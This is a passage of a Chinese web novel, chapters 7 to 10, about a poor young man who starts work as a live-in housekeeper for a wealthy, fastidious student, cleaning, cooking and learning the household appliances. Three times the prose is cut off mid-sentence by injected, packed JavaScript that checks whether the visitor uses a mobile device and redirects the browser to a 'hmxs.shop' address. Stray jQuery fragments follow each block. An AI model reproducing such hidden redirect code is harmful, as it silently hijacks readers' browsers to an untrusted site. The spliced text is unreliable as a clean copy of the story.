《小少爷的住家保姆》 7. 老板 在许秋实的认知里,荀文耀和军训前的许秋泽已经是皮肤很白的人了,直到此刻,他才明白什么叫白到发光。 江翊驰白皙的皮肤在自然光下透着冷玉般的光泽,眉骨锋利,眼型狭长,瞳色泛着浅浅的棕,抬眼间尽显清冷疏离。 他的身形比起许秋实要清瘦许多,但十分匀称,肩宽腰窄,四肢修长,简单的白T恤和牛仔裤穿在身上显得格外吸睛。 许秋实愣神的同时,江翊驰也在快速审视着他,肤色黑了点,长得倒不差,不过身材是不是太壮实了?尤其是手臂上的肌肉,鼓鼓囊囊,把短袖袖口都撑满了,看起来能一拳把他打飞十里地,到底是来当保姆的还是来当保镖的啊?不会有暴力倾向吧? 想到这里,江翊驰的眉头微不可察地皱了皱,有点后悔接受顾承飞的提议。 “你好,我是许秋实,来上工的。”许秋实率先开口。 低沉男声与从手机扬声器中传出的音色稍有不同,却神奇地让江翊驰安心不少,他微微侧身,让开位置:“我知道,进来吧。” 许秋实没急着进门,放下背后的双肩包,掏出一双新拖鞋,准备在门口换上。 “什么东西?”江翊驰眼瞅着许秋实将裹成一团的红色塑料袋解开,露出半截土黄色的塑胶鞋底,不由倒吸一口凉气,鼻尖仿佛隐隐嗅到股廉价材质散发出的刺鼻气味。 “新买的,干净的。”许秋实将拖鞋往前递了点,想给江翊驰检查,这是他特地去超市挑的特价款拖鞋,13.9元一双。 江翊驰下意识后退一步,像是规避什么洪水猛兽一般,面上的嫌弃再也藏不住,指着玄关处的鞋柜说:“里面有拖鞋,你挑一双穿吧,以后不要带这种丑东西过来。” 闻言,许秋实低头看了眼自己手里的拖鞋,不明白拖鞋能分什么美丑,但既然是雇主提出的要求,照做便是了。 他打开柜门,拿出一双看起来款式最基础的黑色拖鞋,正要换上,又听江翊驰问:“你没有脚气吧?” 话一出口,江翊驰突然意识到自己问得似乎过于直接了,万一对方恼羞成怒梆梆给他两拳可怎么办? 好在许秋实并不在意,只是平静地摇摇头:“没有。” 见状,江翊驰心中那点顾虑立即消失,双手抱胸,居高临下看着蹲在地上换鞋的男人:“那你在鞋柜腾个位置放鞋吧,以后这双鞋固定给你穿,不要跟我的鞋子混放,知道吗?” 许秋实点点头,将鞋柜理了理,指着自己腾出来的一点空位问:“我的鞋放这可以吗?” “嗯。”江翊驰算是看出来了,这男人脾气很好。 两个人在玄关磨蹭了十来分钟才进客厅。 原本顾承飞是想陪许秋实一起来的,但他和许秋泽要上选修课,那门课的出勤分占比高达百分之七十,他不敢逃课,于是跟江翊驰约好中午来吃饭。 江翊驰简单向许秋实交代几句,让他先去打扫卫生。 许秋实看了眼屋内的装潢,是他这辈子都住不起的样子,还有很多他不认识的家用电器。 见许秋实没有动静,江翊驰顺着他的目光看向在客厅墙角充电的扫地机器人,说:“家里的电器可以随意使用,有不会用的自己上网查一查,手机给我,我帮你连wifi。” “我手机连不了。”许秋实在酒吧的时候就被荀文耀科普过无线网络的便利,可惜他的古早功能机没有连接wifi的功能,能够坚持收发短信和接打电话已经是它最后的坚强了。 “怎么会连不了?我看看。”江翊驰朝他伸出手。 那是一双光洁漂亮的手,手指修长笔直,指甲修剪得干净圆润,指节分明却不过分突出,皮肤细腻没有丝毫劳作过的痕迹,一看便知合该是享福的命。 “我的手机比较旧。”许秋实掏出手机递给江翊驰,两只截然不同的手在空中短暂交汇,形成鲜明对比。 江翊驰掂了掂手里的黑色块状物,脱口而出:“这是哪里出土的老古董?真的能用吗?” “……”许秋实对江翊驰的反应并不意外,到洛海市之后,每个见到他手机的人都会来上这么一句。 现在的手机更新换代越来越快,造型和功能也与最初的功能机大相径庭,他这部七八年前的新款手机是他爸在世时买的,后来给了许秋泽用,从许秋泽手中淘汰下来后,许秋实便留着自己用。 面对顾承飞介绍来的人,还是同学的哥哥,江翊驰不想表现得太刻薄,他撇撇嘴,将手机还给许秋实,起身上前按下扫地机器人的开关,为许秋实演示了一遍用法。 扫地机器人每天会定时清扫两遍屋子,地板很干净,精装的房子里没有多少居住痕迹,东西大多是新的,连抹布也是,材质柔软亲肤,许秋实摸了摸,相比之下,他洗脸的毛巾更像抹布。 许秋实将抹布打湿擦了一遍家具和摆件,随后再换干布擦一遍,以免在物体表面留下水渍。 地板铺着瓷砖,搭配他第一次使用的胶棉拖把,拖地仿佛失去了阻力,不说老家那只能用刷子清洗的水泥地板,比起已经很方便打理的酒吧防滑地砖都要轻松省力得多。 许秋实抡着胳膊没一会便把地板拖得发亮反光。 坐在沙发上看电视的江翊驰时不时将视线转向认真干活的许秋实。 男人手脚麻利,干起活来一刻不停,连口水都没顾上喝,最重要的是,话很少,不像之前来应聘的保姆,活没干多少,总想着搭话,话里话外无非就是工作量太大想加工资的意思。 江翊驰走神的功夫,许秋实已经把抹布和拖把洗好晾好,过来叫了他一声:“老板。” “嗯?”江翊驰侧头。 “有什么要洗的衣服吗?”许秋实问。 “哦,在脏衣篓里。”江翊驰抬手指向阳台。 阳台上,各种用途的洗衣机和烘干机摆了整整一面墙,江翊驰穿的衣服需要分门别类地清洗,内裤和袜子更是只穿一次性的,穿完就丢,因为他不能接受自己的内裤被外人触碰。 许秋实看了眼脏衣篓,里面放着一件上衣和一条长裤,再看看没用过的最新款滚筒洗衣机,干脆把两件衣服拿出来手搓了。 中途,顾承飞订购的食材送货上门,随之而来的还有他的电话。 江翊驰按下通话键:“喂。” 顾承飞咋呼的声音传来:“喂,阿驰你让许哥接电话。” “你找他不会直接给他打电话吗?”江翊驰真想把人从手机另一头揪出来给两个大耳刮子。 “这不是担心他在干活嘛,等会你又怪人家工作时间接电话。”顾承飞想得倒是周到。 “呵。”江翊驰冷笑一声,朝把食材拎去厨房的男人喊道:“许秋实,过来接电话。” 许秋实放下东西,回到客厅,面前握着手机的手宛若白玉,他下意识把自己粗糙的双手往衣服上擦了擦,小心接过那部轻薄时尚的手机。 “许哥,东西送到了吧?我要吃你之前做过的那个爆炒猪肝、酱汁豆腐和辣炒空心菜梗。”顾承飞一点不客气地点起菜来。 许秋实听罢,转头向江翊驰确认:“老板,小飞说想吃爆炒猪肝、葱烧豆腐和炒空心菜梗,可以做这几道菜吗?” 见许秋实没有越俎代庖的行为,江翊驰脸色稍霁,点点头表示同意。 “阿驰不吃香菜和芹菜,我都没买,其他东西没见他有特别爱吃的,你随便做点拿手菜好了,反正你做的都好吃,嘿嘿。” “好。”许秋实勾起嘴角,将手机还给江翊驰,出于礼貌还是问了一句:“老板有什么忌口和想吃的?” “你看着做吧,别放香菜和芹菜就行。”跟顾承飞说的一样,江翊驰虽然挑嘴,真让他说清楚自己想吃什么不想吃什么,他又说不出个所以然来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934868|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后只会嫌弃这个嫌弃那个的,没少折磨家里的老厨子。 许秋实想了想,顾承飞点了两素一荤,猪肝算不上正经肉菜,再做个红烧排骨和油焖大虾好了,顾承飞买来的食材里有新鲜大虾,应该优先料理。 有了拖鞋的前车之鉴,许秋实没有拿出背包里自备的新围裙,直接戴上挂在厨房的纯色围裙,有点小,堪堪遮住他的上半身,看着像肚兜。 厨房里,烤箱、蒸锅、微波炉、洗碗机等电器一应俱全,好在这些都用不上。 中秋那天许秋实去荀文耀家下过厨,此刻自己稍加琢磨,弄清燃气灶怎么点火,开始准备午饭。 顾承飞一下课就火速赶来,先和江翊驰打了个招呼:“你没欺负许哥吧?” 江翊驰眉头一拧,什么叫欺负? “开个玩笑嘛,你又急!”顾承飞了解江翊驰,忙拍拍发小的肩膀以示安慰,转头冲进厨房,“许哥!我来给你帮忙呀。” “不用,别站太近,小心被油崩到。”许秋实正在给葱姜蒜爆香。 顾承飞没想真帮忙,以他的能力,不要靠近厨房就是给许秋实帮大忙了,于是他站在厨房门口,在精神上应援许秋实。 “我叫了阿泽的,他不肯跟我一起来。”顾承飞遗憾地说。 “他来不合适。”许秋实对弟弟的分寸感表示认可,顾承飞是江翊驰的朋友,当然可以随时来玩,许秋泽跟人家一起来就有点没边界感了。 “有什么不合适的,他跟阿驰也是同学啊,阿驰都没意见。” 这种事主人家总要客气一下的,当真的话,也太没眼力见了。许秋实没有把心中的想法说出来,顾承飞和江翊驰一样,都是有钱人家的孩子,从小备受宠爱,不需要懂太多人情世故。 午饭有五菜一汤,汤没时间慢慢炖,许秋实做的是肉丸菜叶汤,以往许秋泽光用这汤都能下两大碗饭。 “许哥,你先别忙了,来吃饭呀。”顾承飞热情招呼。 江翊驰没说话,他的目光完全被桌上的饭菜吸引,卖相比不得家里厨师做的漂亮精致,不过闻着不错。 “你们吃,我去厨房,有事喊我。”这份工作是包食宿的,但许秋实没有上桌吃饭的想法,拎上自己的背包回到厨房。 顾承飞有心再劝两句,想到许秋实可能觉得不自在,遂不再多嘴,转头朝江翊驰推销起桌上那道色泽鲜绿的辣炒空心菜梗。 “菜梗有什么好吃的?”江翊驰对顾承飞的品味越来越不理解了。 “你尝尝嘛。” 空心菜梗切得很碎,主要佐料是小米辣和拍扁的蒜瓣,经过大火快炒,锁住菜梗的脆爽口感,与平时吃的清炒时蔬是完全不一样的风味。 “一般般吧。”江翊驰嘴上这么说着,往嘴里扒饭的速度却快了不少。 “许哥炒的猪肝也是一绝。”顾承飞继续推销。 江翊驰是不太喜欢吃动物内脏的,家里几乎不会做内脏相关的菜式,要做也大多是以进补为主的做法。 这道爆炒猪肝确实颠覆了他对内脏食材的看法,不仅尝不出猪肝原有的苦味和粉感,还格外鲜嫩多汁,咸香下饭。 空心菜叶和肉丸一起煮汤,味道鲜美,江翊驰和顾承飞你一碗我一碗的,连汤带料吃了个精光。 等许秋实出来收拾碗筷,桌上的几道菜基本光盘,只有那道油焖大虾剩下几只,虾壳几乎全堆在顾承飞的位置上。 吃过饭的顾承飞没待多久就回宿舍了,许秋实收拾完厨房,出来问江翊驰没吃完的菜怎么处理。 “随你处理,我不吃隔餐饭。” “好的。”许秋实往回没走两步,又转过身,“老板。” “怎么?”吃饱喝足的江翊驰觉得大个子的许秋实看着顺眼不少。 许秋实犹豫片刻,主动询问:“你不喜欢吃虾吗?还是我做的不合你口味?” 8. 逛逛 江翊驰没想到许秋实会注意到这一点。 见他没回答,男人刚毅的脸上似乎有了丝局促,江翊驰感觉仿佛看见有一只大型犬蹲坐在自己面前眼巴巴地等待指令。 “不是,我只是懒得剥虾。”江翊驰直言。 比起动物内脏,他对海鲜的接受度要高许多,但海鲜吃起来麻烦是个大问题,虾蟹有壳,鱼类有刺,上手会把手弄脏,在家都是佣人伺候着他吃饭,剥虾壳、剔蟹肉、挑鱼刺,根本不用他动手,这使他完全没有意识到需要提前告知许秋实自己吃虾的习惯。 “那我下次直接用虾仁?”许秋实试探着问。 “不要,我不喜欢吃虾仁做的菜。”江翊驰想都没想地拒绝,“要做就得全须全尾,去了壳那点鲜味全跑了,吃着有什么意思?” 许秋实明白了,江翊驰没说不吃,只说做前不能去壳,可以做好后再去壳。 “你的房间在那边,没事的时候可以在房间休息,缺什么跟我说。”江翊驰指着一楼的保姆房,示意许秋实自己进去。 房间不算大,但布局规整,采光极好,靠里的位置摆着一张双人床,床边是个飘窗,透过窗户能看见小区的全景,视野广阔。 令许秋实惊讶的是,房间里居然有独立卫生间。 卫生间地面用的是浅灰色的防滑地砖,白色洗手台上有一面半身镜,马桶是智能的,带冲洗、烘干和座圈加热的功能,着实令许秋实大开眼界。 待在客厅的江翊驰想起保姆房的床没有铺,起身来找许秋实,房间里没人,他又往开着门的卫生间走去:“许秋实,你在上厕所吗?” “没有。”因为好奇智能马桶而多看了会的许秋实回头应道。 听到他的回答,江翊驰探头往卫生间里看:“那是智能马桶,边上有遥控器,根据上面的按键操作就行了,用不惯的话,可以把电源关掉当普通马桶用。” 许秋实:“好的。” 江翊驰顺便跟他说了淋浴间和洗手池的热水怎么开,才想起原本的目的:“对了,床上用品在柜子里,你自己铺一下。” “好,谢谢。”许秋实打开水龙头洗了下手。 江翊驰的目光在他立体的侧脸上停留了两秒,不知想到什么,突然问道:“你抽烟吗?” “会抽。”许秋实如实道。 “在我这里不允许抽烟,偷偷躲房间里抽也不行。”江翊驰皱皱眉,他讨厌烟味,尤其是二手烟,不过抽烟是个人习惯,他不会要求许秋实戒烟,但得守他的规矩。 听到江翊驰说不许在家抽烟时,许秋实理解地点点头,很快江翊驰又补充:“想抽烟可以去楼下吸烟亭,那里是专门抽烟的地方,回来前要在外面把味道散干净。” “明白。”许秋实第一次听到“吸烟亭”这个称呼,心想有钱人怪讲究的。 许秋实十八岁那年就去工地上干活,为了还债和供弟弟念书,每天高强度工作十几个小时,精神与肉、体上的双重压力无从发泄,促使他学会的抽烟。 工地上没有娱乐活动,五块钱买一包硬白沙,休息时聚在一起抽上两口提提神,便是很好的消遣。 烟瘾最大时,他能一天抽两包,直到还在上初一的许秋泽好奇问了一句“烟是什么味道”,许秋实才意识到自己给正在长身体的弟弟做了多坏的榜样。 自那以后,许秋实虽然没有戒烟,但克制许多,更是不会在许秋泽面前抽烟,如今他一包烟能抽好几天,所以对江翊驰的要求接受良好。 见许秋实答应得爽快,江翊驰对他会抽烟的不满消散了些,转而问他:“你手机号多少?” 许秋实报了手机号,没一会,一阵年代感十足的手机铃声从他的裤兜传出。 好土,江翊驰在心里吐槽,随后按下挂断键,说:“你也记一下我的号码,以后方便联系,你手机有来电显示吧?” “有的。”许秋实拿出手机操作一番,“记下了。” “那你收拾吧。”江翊驰摆摆手,走出房间。 许秋实打开衣柜,最上层的格子里整齐叠放着床单、被套和枕套,颜色是配套的蓝灰色,纯棉质地,触感柔软,带着洗衣液的淡淡香气。 他麻利地把床单铺在厚实的床垫上,套好枕头,被芯没套,现在天气还很热,盖一层被套足够了。 床品是配套的蓝灰色,铺好后,为整个房间增添上一抹低调的精致。 唯一显得格格不入的是他那个放在门边的旧背包,里面放着他的两套换洗衣服和一些生活用品。 试用期有一周,许秋实心里没底,他不确定自己能不能得到这份工作,以往干的都是体力活,工头看到他的体格就直接录用了,哪有什么试用期一说。 没有工作经验的许秋实觉得自己唯一的可取之处便是踏实肯干,于是他没有选择在房间休息,而是出去询问江翊驰要不要换洗一下床单被套,晒晒被子,下午太阳很好。 看着主动找活干的许秋实,江翊驰对他的印象分往上涨了点:“不用,前两天刚换过。” 许秋实闻言,应了一声,转身想回房间,又被江翊驰叫住:“下午我要去上课,你无聊的话可以出去逛逛,我六点十分下课,回来要二十分钟左右,六点半之前准备好晚餐,其他时间你自由分配吧。” “那我可以现在去吗?就在小区逛。”不知道该干什么的许秋实想着出去熟悉一下环境也不错。 “随你,我把门锁密码发给你,到时候回来自己开门。”江翊驰的公寓用的是密码锁。 “好。” * 金麟湾的物业费高昂,配套服务自然要与之匹配,除了各项完善的硬件设施,小区格外重视环境问题,单是每月用于绿植养护的开支便是一笔不小的数目。 能住在这里的业主,都具备相当的经济实力,对居住环境的要求肯定是很高的,谁乐意走在路上突然吸一口别人的二手烟呢?所以小区内严禁在公共场所抽烟,并斥巨资打造了数个专用吸烟亭,既保障公共区域的空气清新,也为有吸烟需求又不想污染室内环境的业主提供了解决方案。 许秋实走在小区的主干道上,一路走一路看,草坪和步道上全部干干净净,看不见半点垃圾,空气中弥漫着清新的草木气息,令人心旷神怡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934869|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 想到还在上学的许秋泽,许秋实由衷希望以后他能住在这样的地方。 迎面走来两个身穿制服的保安,其中一人正是上午给许秋实带路的保安。 很明显对方也记得他,朝他笑着点了点头:“要出去吗?” “没,在小区里逛逛。”许秋实说。 “您是江先生的朋友吗?”保安试探着问。 “不是,我来当保姆的。” 听到这句,保安一愣,随即面部表情放松了些,都是以打工人的身份进入这个小区,言语间多了几分随意:“给江先生当保姆可是个肥差啊,他工资开得不低吧?” “还在试用期。”许秋实模糊地说道。 “我们要去吸烟亭抽一根,兄弟要不要一起?”这保安看起来是个自来熟,已经开始跟许秋实称兄道弟了。 “行。”许秋实正好想看看吸烟亭是个什么光景。 跟许秋实搭话的保安叫吴明,身边话少点的那个叫陈顺,三人一边走一边聊,眼前很快出现一座由透明钢化玻璃搭配金属框架组构成的独立建筑。 吸烟亭外立着一块显眼的告示牌,上面写着“请勿乱扔烟蒂”和“吸烟有害健康”,下方标注了物业的清洁时间,每隔两小时会有人来打扫卫生和清理烟灰缸,保持亭内整洁。 两侧靠墙摆着两张长椅,边上是两个垃圾桶,桶口就是烟灰缸,顶部装有换气系统,时刻运转着净化空气。 这座吸烟亭建在被绿树掩映的角落,许秋实坐在长椅上,掏出自己的硬白沙。 吴明和陈顺抽的是白利群,比他的高档点,许秋实便没给他们让烟。 反倒是吴明给他递了一根:“兄弟,抽我的吧。” 许秋实客气地拒绝:“不用,抽惯了。” 吴明笑了笑,没再坚持,随口跟许秋实唠嗑起来。 小区门口的保安岗位实行24小时轮班制,采取两班倒,每班安排四名保安值班,中途可以换着出来放放风,抽支烟的功夫,管理默认是允许的,只是不能离开太久。 抽完烟的吴明将烟头熄灭丢进垃圾桶,起身朝许秋实说:“兄弟,我们先走了。” “好,慢走。” “相遇即是有缘,以后都在一个小区里,有啥事就去保安亭找我。”吴明显然对许秋实很有好感,他年纪大一些,平时在一众保安中总是以老大哥的身份自居,热心得很。 “谢谢吴哥,叫我小许就好。”许秋实不是个不识相的人,面对别人的主动示好,他顺势应下。 吴明和陈顺走后,许秋实也没多待,走出吸烟亭散散身上的烟味,开始往回走。 走到2号楼才想起来有门禁,自己没门卡,门口有可拨号的对讲器,但他不会用。 担心江翊驰有午休的习惯,许秋实放弃了打电话给对方的想法,反正他下午得去上课,肯定要出门的,自己在楼下等一会好了,说不定很快有人进出。 江翊驰出门的时候还在想许秋实跑哪去了,逛个小区能逛一小时。 结果走出楼栋大门就看见许秋实正站在一颗树前专注地数蚂蚁。 9. 笔记 许秋实听见动静转过身,对上江翊驰一脸疑惑的表情。 “你不回去站这干嘛呢?”江翊驰问。 “进不去。”许秋实平静地回答。 “不会给我打电话吗?”江翊驰承认自己完全不记得门禁这回事,但这人也没必要站楼下傻等吧?明明刚记了手机号。 “怕你在睡觉。”见江翊驰脸上仍写着“不理解”三个字,他补充道:“没等很久。” “我下午要是没课,你准备等一下午啊?”江翊驰不知该说许秋实体贴还是呆板。 “我会去找保安帮忙。”许秋实说。 “既然知道能找保安帮忙,干嘛不直接去啊?”江翊驰瞪了他一眼,觉得这人真是不可理喻。 “说不定会有人出来。”找人帮忙是最后的手段,不到万不得已,许秋实不想欠人情,更何况他知道江翊驰要上课,一定会下来,只是等一会,根本没有损失。 “有人出来你也没有电梯卡啊,你准备怎么上楼?”江翊驰换了个问题。 “走楼梯。”十六层的高度对许秋实来说不算什么,空手爬楼梯而已,都不用搬东西,比起以前帮人扛货上楼不要太轻松。 “……”江翊驰的目光从许秋实的头顶扫到脚背,觉得自己不用在这个问题上继续争辩了,愤愤道:“还不快点进来,我上课要迟到了。” “抱歉。”许秋实快步上前,进门后,江翊驰跟他一起到电梯给他刷完卡才去上课。 到达家门口,许秋实掏出手机找了下江翊驰发的密码,发现还有许秋泽和荀文耀给他发的短信。 一看时间,发过来两小时了,现在刚收到,不久前江翊驰发的消息却是实时提醒的。 看来连手机延迟接收短信的故障都会看人下菜碟。 许秋实无奈摇头,关上门,在玄关处换好鞋,点开两人的短信。 许秋泽:【哥,还顺利吗?】 荀文耀:【秋实,在那边干得怎么样?不习惯的话,酒吧随时欢迎你回来~】 许秋实给许秋泽回复:【顺利,别担心。】 随后给荀文耀回复:【挺好的,谢谢文耀哥。】 手机按键不太灵敏,短短几个字按了半天才发送成功。 江翊驰六点半回来,提前一个小时准备晚饭就够了,现在距离五点半还有三个小时。 上午江翊驰只让他打扫了一楼客厅的卫生,这房子一共二层,现在主人不在,许秋实不好随便走动。 没事干的许秋实想到厨房那些自己没用过的厨具和电器,决定去研究一下用法,之前在厨房都没来得及细看。 中午做饭只用到了电饭煲和炒锅,灶台上面有个抽油烟机,这个他在荀文耀家的厨房见过,按下开关会自动运转,再往上是一排吊柜,可以收纳很多东西。 灶台下方也做了收纳柜,还有内嵌的消毒柜和洗碗机,边上一列立式橱柜中间是嵌入式蒸箱和烤箱,操作面板上布满各种按键和旋钮。 左手边是备菜区和洗菜区,墙上装了挂钩和小格子,一些长柄厨具和砧板挂在墙上,格子里则专门放置调味料。 调味料的种类十分丰富,有玫瑰盐、欧芹碎、芝士粉,许秋实全是第一次见,连装它们用的小玻璃瓶都异常精致。 洗菜区的水龙头上装有滤水器,出来的水可以直接饮用,非常方便。 右手边的平台上摆放着咖啡机、榨汁机、绞肉机等小型电器,再过去是超大容量的双开门电冰箱,中午没用完的新鲜食材就放在里面。 没想到一个小小的厨房里居然能有这么多新奇的玩意,许秋实看得入迷,一声手机提示音响起,是荀文耀发来的短信:【习惯就好,你的加班费怎么不收?有空记得来找我拿,不然我给你送过去也行。】 许秋实:【上次的衣服算我买的。】 荀文耀知道许秋实那破手机的毛病,发两条短信便失去耐心,干脆问他:【现在方便打电话吗?】 得到肯定答复后,荀文耀直接打了个电话过来:“秋实啊,买衣服的钱没有那么多。” “不多,你帮了我更多。”许秋实真心道。 “不是这么算的,你听我给你捋一捋啊。” 许秋实知道自己说不过荀文耀,看着电器上的品牌名,突然问道:“文耀哥,你能帮我个忙吗?” “什么?”许秋实很少主动要求帮忙,电话另一头的荀文耀一下子坐直了。 “帮我查点东西,我手机不方便上网。” “哦哦,查东西啊,行啊,你跟我说要查什么?”荀文耀满口应下。 “这里有些我没见过的电器,你帮我查一下要怎么用。”许秋实照着电器上贴着的标签念出陌生名称,有些英文单词他看不懂,就一个字母一个字母地读。 荀文耀一一记下,说:“那我先去网上搜一下,等会给你发短信过去吧。” “好,谢谢文耀哥。” 挂断电话后的荀文耀挠挠头,自己刚刚找许秋实说啥来着? 许秋实问了烤箱、蒸箱、消毒柜几个看起来用得上的电器用法,自己则继续探索橱柜内部的物件。 某一层抽屉里放着的全是烘焙用品,硅胶刮刀、裱花袋、裱花嘴、量杯、量勺、蛋糕模具等等,许秋实看得眼花缭乱。 半小时后,荀文耀发来好几条短信,满满当当全是字,有些地方文字说不明白,得搭配图片来看,但许秋实的手机看图太糊了,就算用彩信的形式发给他也看不清。 许秋实跟他说没关系,自己后面会再跟雇主请教的,这么一打岔,加班费的事不了了之。 不过荀文耀发来的说明已经很详细了,许秋实想了想,转身回房间,从背包里拿出一个陈旧的笔记本,将短信上的内容对照着实物一一誊抄下来,还画上了简易配图。 这笔记本是他记菜谱用的。 许秋实从来没觉得自己有什么做菜的天赋,他现在的厨艺全是自己一点点钻研出来的。 父母在世时,因为长期在外工作,顾不上两个孩子,照顾弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934870|192859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弟的重任落在许秋实肩上。那会许秋泽年纪小,不能老吃外面的东西,许秋实便学着自己做饭,总把许秋泽难吃得哇哇大哭。 后来父母离世,许秋实不得不扛起一家之主的职责,生活中除了打工,最重要的就是照顾好弟弟。 为了让上小学的弟弟好好长身体,许秋实下定决心提升厨艺,同龄人去网吧打游戏的时候,只有他在用网吧的电脑查菜谱,还带着笔记本认真做笔记,比以前在学校上课专注多了。 想到这里,许秋实脸上浮现出淡淡笑意,当初那个小阿泽已经长这么大了,他能考上名牌大学是不是也有自己的一份功劳呢? 另一头,在上专业课的江翊驰冷眼看着坐在自己前面的顾承飞不停骚扰许秋泽,忍不住抬脚踹他两下,被踹的顾承飞扭扭屁股,头都没回。 这门课太无聊了,认真听讲的学生没几个,不是睡觉就是玩手机,老师也不管,只一味地侃侃而谈,沉浸在自己的教学世界无法自拔,双方各干各的,互不干扰。 江翊驰撑着下巴,光明正大地将手机摆在面前,几个软件翻来覆去地点了个遍,最后点进一个陌生的软件。 提示登录的页面跳了出来,很明显他是注册过账号的,思索了一下这软件是干嘛用的,然后点击登录。 屏幕上出现几个摄像头图标,上面标注了例如“客厅”、“阳台”、“门口”等地点,原来是他家的监控。 当初是他哥身边的郑助理全权负责这套房子的过户和入住事宜,他记得郑助理提到过家里装了不少监控,好像除了卧室和卫生间,其他地方基本没有死角。 自从注册完这个软件,江翊驰再没点开使用过,想起家里如今有个外人在,自己看一眼监控不过分吧? 许秋实这个时间会在做什么呢?说不定在房间休息,那他看看其他地方好了,先从厨房开始吧。 江翊驰点击备注“厨房”的摄像头图标,加载过后,监控画面上显现出一道蹲在消毒柜前不知在干嘛的身影。 江翊驰呼吸一滞,“啪”地一声把手机屏幕盖在桌面上。 巨大的动静引得周围同学纷纷侧目。 “不好意思,手滑。”他冷冷说了一句,那些视线迅速收回。 “要死啊你,吓我一跳!”顾承飞回过头朝他抱怨。 江翊驰没有理他,重新拿起手机,才发现许秋实手里拿着一本笔记本,正在认真记着什么。 监控器的摄像头可以调节距离和清晰度,虽然看不清写了什么字,但边上的配图能看个大概。 江翊驰大概猜出他在做什么了,没有多看,退出了监控画面。 虽然保姆本来就该接受主人家有监控的存在,但自己没跟人家说过,搞得跟偷窥似的,难免有几分心虚。 看不出来这个大块头这么用功,当保姆还做笔记。 江翊驰放下手机,继续看顾承飞骚扰认真听讲的许秋泽,他周边的一圈人里,除了许秋泽,根本没人听课。 不愧是亲兄弟。 10. 拌面 晚餐许秋实做了三菜一汤,白萝卜丝炒牛肉、酸辣白菜、肉末茄子和平菇肉片汤。 中午剩的几只虾江翊驰说不要了,丢掉怪可惜的,他便留着给自己当晚饭。 上了一下午课的江翊驰回到家就吃上了热乎饭,每道都很合他口味,有些饿狠了的他难得想添饭,冲厨房喊道:“许秋实。” 许秋实闻声赶来。 小少爷下巴一扬:“帮我添饭。” “好。”许秋实给他添了饭,自己继续坐在灶台前就着剩菜和一小碗平菇汤配馒头吃。 馒头是他今早来的路上买的,为了以防万一。第一天上工,不确定雇主的脾气和食量,虽说包伙食,但要是雇主嫌他吃太多让他走人可就不好了。 晚饭后,江翊驰递给许秋实一张门禁卡,是小区大门、楼栋大门和电梯通用的,又跟他交代一遍以后每天要做的事。 许秋实一一应下。 “还有件事得跟你说一下。”江翊驰的面色带上些许不自然。 许秋实静静等他说。 “家里装了监控,你来之前就有的,之前忘记跟你说了,你能接受吧?”江翊驰一边说一边观察许秋实的反应,心想他不能接受也得接受,自己又不可能为了他一个保姆把监控拆掉。 听到“监控”二字,许秋实有些惊讶,下意识想抬头看看,酒吧也有监控,不过店里人多手杂的,安个监控保障安全很正常,他还是头回见有人在家里装监控的。 “我不是变态,平时没事不会一直看监控的。”江翊驰不高兴地说。 许秋实想起自己还没回答人家的话,点点头:“能接受。” 江翊驰轻哼一声,一脸“这还差不多”的表情。 晚上许秋实获得前往二楼做卫生的准许。 二楼中间是挑空区,上面只有两个房间,江翊驰的卧室和书房,面积比一楼小一半。 做完卫生,许秋实给江翊驰洗了一串葡萄,今天的工作算是告一段落。 夜里,洗漱过的许秋实坐在床上和刚结束兼职回到宿舍的许秋泽打电话,与他分享自己今天都干了啥。 结果没说两句就结束了,这一天实在过于轻松,总结下来只有打扫卫生做做饭,比在酒吧清闲多了。 “哥,你还有啥不会用的跟我说,我帮你查。”许秋泽知道他哥下午没找他是怕打扰他上课。 “下次再说,你去洗澡吧,别搞太晚影响舍友休息。”许秋实催促。 “行,那我先去洗澡,哥你有事一定要找我啊!” “知道了。” 挂断电话,许秋实又变得无事可做,现在不到十点,他已经洗完澡躺在保姆房的床上了,以往这个时候,酒吧都忙得脚不沾地。 厚实柔软的床垫随着他的动作向下凹陷,完全贴合身体曲线,盖在身上的被套也像一团蓬松的棉花将他轻轻包裹。 他从没睡过这么软的床垫,此刻,本该放松的身体却因为些许失重感而微微绷紧。 许秋实睁开眼盯着天花板,圆球状的吸顶灯在黑暗中显现轮廓,不知道这种灯里面有没有灯丝。 月光透过窗户洒进来,在地板投下淡淡的光斑,许秋实翻身侧躺,闭上双眼。 * 一个星期转瞬即过。 如江翊驰所想,许秋实确实是个没什么见识的乡下人,但他勤快好学,短短几天时间便把家里他没见过的东西几乎全研究了一遍,并熟练掌握用法。 